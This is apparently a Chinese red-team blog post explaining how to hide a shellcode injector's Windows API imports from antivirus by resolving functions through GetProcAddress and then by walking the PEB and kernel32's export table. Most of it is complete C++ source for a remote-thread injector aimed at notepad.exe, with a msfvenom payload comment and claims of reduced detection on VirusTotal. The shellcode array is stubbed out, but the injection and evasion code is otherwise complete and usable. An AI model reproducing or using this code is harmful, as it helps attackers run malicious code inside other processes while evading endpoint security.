红队技巧隐藏PEB表

突然好想去放牛,没有压力,以我的智商,只放一头,多了我也数不过来,它吃草,我趴在牛身上睡觉,牛丢了,我也就丢了……省心

--《風の住む街》


聊一聊隐藏PEB表的一些技巧。

这篇文章中,我们将介绍如何来隐藏你程序的PEB信息。首先先来了解一下什么是PEB,其全程为Process Envirorment Block ,直译过来就是进程环境信息块,存放进程信息,每个进程都有自己的PEB信息。位于用户地址空间。其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;

具体结构可以参考下图:

image

在windbg中可以使用来进行查看

1
!peb

image

下面我们来看如何简单的进行PEB信息的隐藏,我们先来简单的写一个远程线程注入的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<Windows.h>
#include<iostream>
#include<TlHelp32.h>

int find_process(const wchar_t* process_name) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int returnValue = 0;
if (!Process32First(snapshot, &entry)) {
goto cleanup;
}
do {
if (wcscmp(entry.szExeFile, process_name) == 0) {
returnValue = entry.th32ProcessID;
goto cleanup;
}
} while (Process32Next(snapshot, &entry));
cleanup:
CloseHandle(snapshot);
return returnValue;
}

unsigned char shellcode[] ="\x00";
int main(int argc, char* argv[])
{

HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, true, find_process(L"notepad.exe"));

LPVOID targetPage = VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hTargetProcess, targetPage, shellcode, sizeof(shellcode), NULL);

DWORD ignored;
CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)targetPage, NULL, 0, &ignored);
return EXIT_SUCCESS;
}

其API调用链主要有下面两条,

查找进程PID:

1
CreateToolhelp32Snapshot --> Process32First --> Process32Next

创建线程:

1
OpenProcess --> VirtualAllocEx --> WriteProcessMemory --> CreateRemoteThread

经常写代码的都知道,这些都是一些敏感API,被监控的死死的。

image

VT上也有类似的功能:

image

查杀率:

image

解决方法1 GetProcAddress:

函数功能描述:GetProcAddress函数检索指定的动态链接库(DLL)中的输出库函数地址。重明中也已利用该技术。

函数原型:

1
2
3
4
FARPROC GetProcAddress(
HMODULE hModule, // DLL模块句柄
LPCSTR lpProcName // 函数名
);

以CreateToolhelp32Snapshot为例,改成GetProcAddress的调用方法,则变成下面这样:

1
2
3
HMODULE Kernels32 = GetModuleHandleA("kernel32.dll");
using CreateToolhelp32Snapshots = HANDLE(WINAPI*)(DWORD,DWORD);
CreateToolhelp32Snapshots CreateToolhelp32Snapshot = (CreateToolhelp32Snapshots)GetProcAddress(Kernels32,"CreateToolhelp32Snapshot");

以此类推,最后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include<Windows.h>
#include<iostream>
#include<TlHelp32.h>

using namespace std;

unsigned char shellcode[] ="\x00";

HMODULE Kernels32 = GetModuleHandleA("kernel32.dll");

int find_process(const wchar_t* process_name) {

using CreateToolhelp32Snapshots = HANDLE(WINAPI*)(DWORD,DWORD);
CreateToolhelp32Snapshots CreateToolhelp32Snapshot = (CreateToolhelp32Snapshots)GetProcAddress(Kernels32,"CreateToolhelp32Snapshot");

using Process32Firsts = BOOL(WINAPI*)(HANDLE,LPPROCESSENTRY32);
Process32Firsts Process32First = (Process32Firsts)GetProcAddress(Kernels32,"Process32First");

using Process32Nexts = Process32Firsts;
Process32Nexts Process32Next = (Process32Nexts)GetProcAddress(Kernels32,"Process32Next");



PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int returnValue = 0;
if (!Process32First(snapshot, &entry)) {
goto cleanup;
}
do {
if (wcscmp(entry.szExeFile, process_name) == 0) {
returnValue = entry.th32ProcessID;
goto cleanup;
}
} while (Process32Next(snapshot, &entry));
cleanup:
CloseHandle(snapshot);
return returnValue;
}

int main(int argc, char* argv[])
{

using OpenProcessPrototype = HANDLE(WINAPI*)(DWORD, BOOL, DWORD);
OpenProcessPrototype OpenProcess = (OpenProcessPrototype)GetProcAddress(Kernels32, "OpenProcess");
using VirtualAllocExPrototype = LPVOID(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
VirtualAllocExPrototype VirtualAllocEx = (VirtualAllocExPrototype)GetProcAddress(Kernels32, "VirtualAllocEx");
using WriteProcessMemoryPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
WriteProcessMemoryPrototype WriteProcessMemory = (WriteProcessMemoryPrototype)GetProcAddress(Kernels32, "WriteProcessMemory");
using CreateRemoteThreadPrototype = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
CreateRemoteThreadPrototype CreateRemoteThread = (CreateRemoteThreadPrototype)GetProcAddress(Kernels32, "CreateRemoteThread");
HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, true, find_process(L"notepad.exe"));
LPVOID targetPage = VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hTargetProcess, targetPage, shellcode, sizeof(shellcode), NULL);
DWORD ignored;
CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)targetPage, NULL, 0, &ignored);
return EXIT_SUCCESS;
}

再来看一下函数情况:

image

在不考虑shellcode的情况下的免杀效果:

image

决方法2 从PEB下手:

因为我们知道,PEB是内存中的一个结构,其中也包含了DLL以及他们所在的内存中的位置。,所以我们的思路如下:

遍历PEB,然后从PEB中找到kernel32的地址。找到后,遍历其导出表找到我们需要的函数名称。

其查找地址的方法可以参考下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
#include <winnt.h>
#include <winternl.h>

// Thread Environment Block (TEB)
#if defined(_M_X64) // x64
PTEB tebPtr = reinterpret_cast<PTEB>(__readgsqword(reinterpret_cast<DWORD_PTR>(&static_cast<NT_TIB*>(nullptr)->Self)));
#else // x86
PTEB tebPtr = reinterpret_cast<PTEB>(__readfsdword(reinterpret_cast<DWORD_PTR>(&static_cast<NT_TIB*>(nullptr)->Self)));
#endif

// Process Environment Block (PEB)
PPEB pebPtr = tebPtr->ProcessEnvironmentBlock;

最终效果如下:

image

此时我们便可以使用上面的方法继续

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
#include <iostream>
#include <windows.h>
#include "Processthreadsapi.h"
#include "Libloaderapi.h"
#include <winnt.h>
#include <winternl.h>
#include <Lmcons.h>
#include "Processthreadsapi.h"
#include "Libloaderapi.h"
#include <tlhelp32.h>


using namespace std;

/* Globals */

DWORD ignored;

// msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c -a x64
unsigned char shellcode[] ="\x00";

#define ADDR unsigned __int64

// Utility function to convert an UNICODE_STRING to a char*
HRESULT UnicodeToAnsi(LPCOLESTR pszW, LPSTR* ppszA) {
ULONG cbAnsi, cCharacters;
DWORD dwError;
// If input is null then just return the same.
if (pszW == NULL)
{
*ppszA = NULL;
return NOERROR;
}
cCharacters = wcslen(pszW) + 1;
cbAnsi = cCharacters * 2;

*ppszA = (LPSTR)CoTaskMemAlloc(cbAnsi);
if (NULL == *ppszA)
return E_OUTOFMEMORY;

if (0 == WideCharToMultiByte(CP_ACP, 0, pszW, cCharacters, *ppszA, cbAnsi, NULL, NULL))
{
dwError = GetLastError();
CoTaskMemFree(*ppszA);
*ppszA = NULL;
return HRESULT_FROM_WIN32(dwError);
}
return NOERROR;
}

namespace dynamic {
using GetModuleHandlePrototype = HMODULE(WINAPI*)(LPCSTR);
GetModuleHandlePrototype GetModuleHandle;

using GetProcAddressPrototype = FARPROC(WINAPI*)(HMODULE, LPCSTR);
GetProcAddressPrototype GetProcAddress;

using CreateToolhelp32SnapshotPrototype = HANDLE(WINAPI*)(DWORD, DWORD);
CreateToolhelp32SnapshotPrototype CreateToolhelp32Snapshot;

using Process32FirstPrototype = BOOL(WINAPI*)(HANDLE, LPPROCESSENTRY32);
Process32FirstPrototype Process32First;

using Process32NextPrototype = Process32FirstPrototype;
Process32NextPrototype Process32Next;

using CloseHandlePrototype = BOOL(WINAPI*)(HANDLE);
CloseHandlePrototype CloseHandle;

using OpenProcessPrototype = HANDLE(WINAPI*)(DWORD, BOOL, DWORD);
OpenProcessPrototype OpenProcess;

using VirtualAllocExPrototype = LPVOID(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
VirtualAllocExPrototype VirtualAllocEx;

using WriteProcessMemoryPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
WriteProcessMemoryPrototype WriteProcessMemory;

using VirtualProtectExPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
VirtualProtectExPrototype VirtualProtectEx;

using CreateRemoteThreadPrototype = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
CreateRemoteThreadPrototype CreateRemoteThread;

// Given the base address of a DLL in memory, returns the address of an exported function
ADDR find_dll_export(ADDR dll_base, const char* export_name) {
// Read the DLL PE header and NT header
PIMAGE_DOS_HEADER peHeader = (PIMAGE_DOS_HEADER)dll_base;
PIMAGE_NT_HEADERS peNtHeaders = (PIMAGE_NT_HEADERS)(dll_base + peHeader->e_lfanew);

// The RVA of the export table if indicated in the PE optional header
// Read it, and read the export table by adding the RVA to the DLL base address in memory
DWORD exportDescriptorOffset = peNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)(dll_base + exportDescriptorOffset);

// Browse every export of the DLL. For the i-th export:
// - The i-th element of the name table contains the export name
// - The i-th element of the ordinal table contains the index with which the functions table must be indexed to get the final function address
DWORD* name_table = (DWORD*)(dll_base + exportTable->AddressOfNames);
WORD* ordinal_table = (WORD*)(dll_base + exportTable->AddressOfNameOrdinals);
DWORD* func_table = (DWORD*)(dll_base + exportTable->AddressOfFunctions);

for (int i = 0; i < exportTable->NumberOfNames; ++i) {
char* funcName = (char*)(dll_base + name_table[i]);
ADDR func_ptr = dll_base + func_table[ordinal_table[i]];
if (!_strcmpi(funcName, export_name)) {
return func_ptr;
}
}

return NULL;
}

// Dynamically finds the base address of a DLL in memory
ADDR find_dll_base(const char* dll_name) {
// https://stackoverflow.com/questions/37288289/how-to-get-the-process-environment-block-peb-address-using-assembler-x64-os - x64 version
// Note: the PEB can also be found using NtQueryInformationProcess, but this technique requires a call to GetProcAddress
// and GetModuleHandle which defeats the very purpose of this PoC
PTEB teb = reinterpret_cast<PTEB>(__readgsqword(reinterpret_cast<DWORD_PTR>(&static_cast<NT_TIB*>(nullptr)->Self)));
PPEB_LDR_DATA loader = teb->ProcessEnvironmentBlock->Ldr;

PLIST_ENTRY head = &loader->InMemoryOrderModuleList;
PLIST_ENTRY curr = head->Flink;

// Iterate through every loaded DLL in the current process
do {
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
char* dllName;
// Convert unicode buffer into char buffer for the time of the comparison, then free it
UnicodeToAnsi(dllEntry->FullDllName.Buffer, &dllName);
char* result = strstr(dllName, dll_name);
CoTaskMemFree(dllName); // Free buffer allocated by UnicodeToAnsi

if (result != NULL) {
// Found the DLL entry in the PEB, return its base address
return (ADDR)dllEntry->DllBase;
}
curr = curr->Flink;
} while (curr != head);

return NULL;
}

void resolve_imports(void) {

ADDR kernel32_base = find_dll_base("KERNEL32.DLL");
dynamic::GetProcAddress = (GetProcAddressPrototype)find_dll_export(kernel32_base, "GetProcAddress");
dynamic::GetModuleHandle = (GetModuleHandlePrototype)find_dll_export(kernel32_base, "GetModuleHandleA");

#define _import(_name, _type) ((_type) dynamic::GetProcAddress(dynamic::GetModuleHandle("kernel32.dll"), _name))

dynamic::CreateToolhelp32Snapshot = _import("CreateToolhelp32Snapshot", CreateToolhelp32SnapshotPrototype);
dynamic::Process32First = _import("Process32FirstW", Process32FirstPrototype);
dynamic::Process32Next = _import("Process32NextW", Process32NextPrototype);
dynamic::CloseHandle = _import("CloseHandle", CloseHandlePrototype);

dynamic::OpenProcess = _import("OpenProcess", OpenProcessPrototype);
dynamic::VirtualAllocEx = _import("VirtualAllocEx", VirtualAllocExPrototype);
dynamic::WriteProcessMemory = _import("WriteProcessMemory", WriteProcessMemoryPrototype);
dynamic::VirtualProtectEx = _import("VirtualProtectEx", VirtualProtectExPrototype);
dynamic::CreateRemoteThread = _import("CreateRemoteThread", CreateRemoteThreadPrototype);
}


}


// Returns the PID of the first process found matching 'process_name', or 0 if not found
int find_process(const wchar_t* process_name) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = dynamic::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int returnValue = 0;

if (!dynamic::Process32First(snapshot, &entry)) {
goto cleanup;
}

do {
if (wcscmp(entry.szExeFile, process_name) == 0) {
returnValue = entry.th32ProcessID;
goto cleanup;
}
} while (dynamic::Process32Next(snapshot, &entry));

cleanup:
dynamic::CloseHandle(snapshot);
return returnValue;

}

int main(int argc, char* argv[])
{
dynamic::resolve_imports();

// Get a handle on the target process. The target needs to be a 64 bit process
HANDLE hTargetProcess = dynamic::OpenProcess(PROCESS_ALL_ACCESS, true, find_process(L"notepad.exe"));

// Allocate a RW page in the target process memory
LPVOID targetPage = dynamic::VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
dynamic::WriteProcessMemory(hTargetProcess, targetPage, shellcode, sizeof(shellcode), NULL);

// Change the page as executable only
dynamic::VirtualProtectEx(hTargetProcess, targetPage, sizeof(shellcode), PAGE_EXECUTE, &ignored);

// Create a thread in the target process pointing to the shellcode
dynamic::CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)targetPage, NULL, 0, &ignored);
return EXIT_SUCCESS;
}

最后的结果:

image

参考文章:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx
https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
https://stackoverflow.com/questions/12199796/converting-unicodestring-to-char
https://stackoverflow.com/questions/37288289/how-to-get-the-process-environment-block-peb-address-using-assembler-x64-os

本文标题:红队技巧隐藏PEB表

文章作者:冷逸

发布时间:2021年03月03日 - 19:03

最后更新:2021年03月03日 - 19:03

原始链接:https://lengjibo.github.io/peb/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------The End-------------
坚持原创技术分享,您的支持将鼓励我继续创作!